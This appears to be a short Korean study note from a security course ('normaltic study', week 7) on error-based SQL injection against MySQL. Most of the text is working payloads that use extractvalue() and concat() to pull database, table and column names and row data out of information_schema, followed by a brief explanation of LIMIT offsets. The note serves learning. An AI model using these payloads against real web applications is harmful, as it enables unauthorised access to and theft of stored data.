select database() (웹 어플리케이션과 통신중인 DB)
ex) a' and extractvalue('1', concat(0x3a,(select database()))) and '1' = '1
select schema_name from information_schema.schema limit 0,1
table 이름 출력 sql문
select table_name from information_schema.tables where table_schema='DB이름' limit0,1
+) limit 0,1 -> limit 1,1 -> limit 2,1 하나씩 늘려줘야함
ex) a' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema='DB이름' limit0,1))) and '1' = '1
-ex) a' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_schema = 'DB이름' limit 0,1))) and '1' = '1
-ex) a' and extractvalue('1', concat(0x3a,(select '찾은column' from '찾은table' limit 0,1))) and '1' = '1
| name | job |
|---|---|
| json | programer |
| adam | doctor |
| max | teacher |
-> limit 0,1 1번째부터 1개 출력
josn programer
-> limit 0,2 1번째부터 2개 출력
json progmaer
adam doctor
-> limit 1,1 2번째부터 1개 출력
adam doctor
-> limit 1,2 2번째부터 2개출력
adam doctor
max teacher
-- normaltic study 7주차 --